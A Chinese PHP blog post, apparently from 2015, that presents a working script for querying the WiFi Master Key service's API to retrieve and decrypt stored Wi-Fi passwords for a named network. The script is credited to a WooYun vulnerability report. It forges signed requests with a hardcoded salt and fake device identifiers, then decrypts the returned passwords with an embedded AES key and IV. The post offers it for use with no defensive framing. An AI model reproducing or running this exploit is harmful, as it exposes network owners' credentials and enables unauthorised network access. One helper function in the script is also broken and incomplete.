WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
PHP缓存技术的多种方法小结
Aug 14 PHP
用来解析.htpasswd文件的PHP类
Sep 05 PHP
php采集文章中的图片获取替换到本地(实现代码)
Jul 08 PHP
php实现文件编码批量转换
Mar 10 PHP
php定界符
Jun 19 PHP
php跨站攻击实例分析
Oct 28 PHP
PHP的拦截器实例分析
Nov 03 PHP
php专用数组排序类ArraySortUtil用法实例
Apr 03 PHP
php数组比较实现查找连续数的方法
Jul 29 PHP
PHP实现简单爬虫的方法
Jul 29 PHP
PHP正则匹配反斜杠'\'和美元'$'的方法
Feb 08 PHP
详解PHP文件的自动加载(autoloading)
Feb 04 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
php 图片加水印与上传图片加水印php类
2010/05/12 PHP
PHP中怎样防止SQL注入分析
2014/10/23 PHP
HTML中嵌入PHP的简单方法
2016/02/16 PHP
PHP读书笔记_运算符详解
2016/07/01 PHP
PHP sdk文档处理常用代码示例解析
2020/12/09 PHP
javascript数组的扩展实现代码集合
2008/06/01 Javascript
关于js日期转化为毫秒数“节省20%的效率和和节省9个字符“问题
2012/03/01 Javascript
formvalidator验证插件中有关ajax验证问题
2013/01/04 Javascript
不到30行JS代码实现Excel表格的方法
2014/11/15 Javascript
使用js画图之正弦曲线
2015/01/12 Javascript
js获取json元素数量的方法
2015/01/27 Javascript
jQuery+CSS3折叠卡片式下拉列表框实现效果
2015/11/02 Javascript
详解Document.Cookie
2015/12/25 Javascript
浅谈javascript基础之客户端事件驱动
2016/06/10 Javascript
jQuery层级选择器_动力节点节点Java学院整理
2017/07/04 jQuery
浅谈AngularJS中使用$resource(已更新)
2017/09/14 Javascript
webstorm中vue语法的支持详解
2018/05/09 Javascript
vuejs+element UI点击编辑表格某一行时获取内容填入表单的示例
2018/10/31 Javascript
详解Webstorm 下的Angular2.0开发之路(图文)
2018/12/06 Javascript
微信小程序实现录音功能
2019/11/22 Javascript
Python操作列表的常用方法分享
2014/02/13 Python
Python中str.join()简单用法示例
2018/03/20 Python
python实现键盘控制鼠标移动
2020/11/27 Python
python中dict使用方法详解
2019/07/17 Python
10分钟用python搭建一个超好用的CMDB系统
2019/07/17 Python
pandas按行按列遍历Dataframe的几种方式
2019/10/23 Python
python实现五子棋程序
2020/04/24 Python
阿根廷旅游网站:almundo阿根廷
2018/02/12 全球购物
syb养殖创业计划书
2014/01/09 职场文书
房屋委托书范本
2014/04/04 职场文书
北京故宫导游词
2015/01/31 职场文书
给老婆的检讨书(搞笑版)
2015/05/06 职场文书
停发工资证明范本
2015/06/12 职场文书
2015教师节通讯稿
2015/07/20 职场文书
外出学习心得体会范文
2016/01/18 职场文书
合作协议书格式范本
2016/03/21 职场文书